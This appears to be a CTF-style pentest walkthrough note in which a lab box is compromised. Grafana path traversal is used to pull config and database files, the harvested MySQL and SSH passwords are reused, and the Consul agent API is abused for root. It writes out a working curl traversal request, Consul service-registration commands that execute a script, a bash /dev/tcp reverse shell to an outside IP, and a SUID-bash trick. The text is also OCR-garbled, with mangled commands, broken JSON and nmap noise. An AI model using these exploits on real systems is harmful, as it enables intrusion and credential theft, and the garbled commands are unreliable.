

Path of Exploitation

Foothold: grafana Ifi User: password in sqlite db root: consul api

Creds

Username	Password	Description
admin	admin:messageInABottle685427	grafana
grafana	dontStandSoCloseToMe63221	mysql
developer	developer:anEnglishManInNewYork027468	ssh

Nmap

Port	Service	Description
22	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80	http	Apache httpd 2.4.41 ((Ubuntu))
3000	ppp?	
3306	mysql	MySQL 8.0.30-0ubuntu0.20.04.2

```
Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax X-Content-Type-Options: nosniff
                                X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Sun, 29 Jan 2023 16:35:33 GMT
                        Thread ID: 67
                 Some Capabilities: IgnoreSignipes, ConnectWithDatabase, Speaks41ProtocolNew, SupportsLoadDataLocal, InteractiveClient, SupportsTransactions, IgnoreSpaceBeforeParenthesis, ODBCClient, itchToSSLAfterHandshake, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, Support41Auth, SupportsCompression, FoundRows, LongColumnFlag, LongPassword, SupportsMultipleResults, Support
                Auth Plugin Name: caching_sha2_password

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service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service:

-Port3000-TCP:V=7.93%I=7%D=1/29%Time-63D6A059%P=x86_64-pc-linux-gnu%r(Ge
        3F.201e011eCt_00-wzr_Nc2PacH=7, N22PacH=01167, N22PacH=51eCt_0182PacH=0182PacH=0182PacH=0182PacH=0182PacH=0182
$F:L=Type=0ptions:\x28mode=block\r\nDate:\x20Sun,\x2029\x20Jan\x20203\x2016:35
        SF:n,\x2029\x20Jan\x202023\x2016:35:33\x206MT\r\nContent_Length:\x200\r\n\
SF:r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent_T
     SF:r\n8et-Cookie:\x20Fedirect_co-%2Fnice%2520ports%25CU2FTr%25EEIty\.txt
SF:#X252ebity\.X208Paths/:\x20EityDnly;\x20SameSitealx/r\nX-Conent-Type-Opt
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Web
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nmap scan shows port 80 and 3000
check out 80 not much there, do a feroxbuster doesn't find anything
check out port 3000 grafana login version 8.2.0
quick google search finds Ifi exploit
download script find /etc/grafana/grafana.ini and get admin grafana password.. can login.. doesn't find much
Grafana login port 3000
admin:messageInABottle685427 ⇒ 00 - Loot > Creds
next can get grafana.db from /var/lib/grafana/grafana.db
with curl
curl --path-as-is http://192.168.227.181:3000/public/plugins/alertlist/../../../../../../../var/lib/grafana/grafana.db -o grafana.db
use salite3 or salite browser to find mysal passwd from data source
mysgl login
grafana:dontStandSoCloseToMe63221 ⇒ <u>00 - Loot > Creds</u>
loginto mysgl and get developer password
mysql -u grafana -p
                     -h 10.10.11.183
    v databases;
```

base64 decode and log into ssh developer:anEnglishManInNewYork027468

Developer

go to /opt/my-app git show to get token

root exploit

https://exploit-notes.hdks.org/exploit/hashicorp-consul-pentesting/

curl --header "X-Consul-Token: " --request PUT -d '("ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": ("Args": ["/usr/bin/bash", "/tmp/e.sh"], "interval": "10s", "timeout": "1s"}) http://127.0.01:8500/v1/agent/service/register

modify this to be change timeout so it doesn't close 1s after connection

curl ---header "X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540e469b5" ---request PUT -d '("ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": ("Args": ["/usr/bin/bash", "/dev/shm/exploit.sh"], "interval": "10s", "timeout": "100s")}' http://127.0.0.1:8500/v1/agent/service/register

can also rur

consul kv ppt --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw '("ID": "test", "Name": "test", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/usr/bin/bash", "/dev/shm/exploit.sh"], "interval": "10s", "timeout": "100s"}}

exploitsh

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.11/9001 0>&1

set up rev shell and boom root

or

#!/bin/bash

chown root:root /dev/shm/bash

chmod +s /dev/shm/bash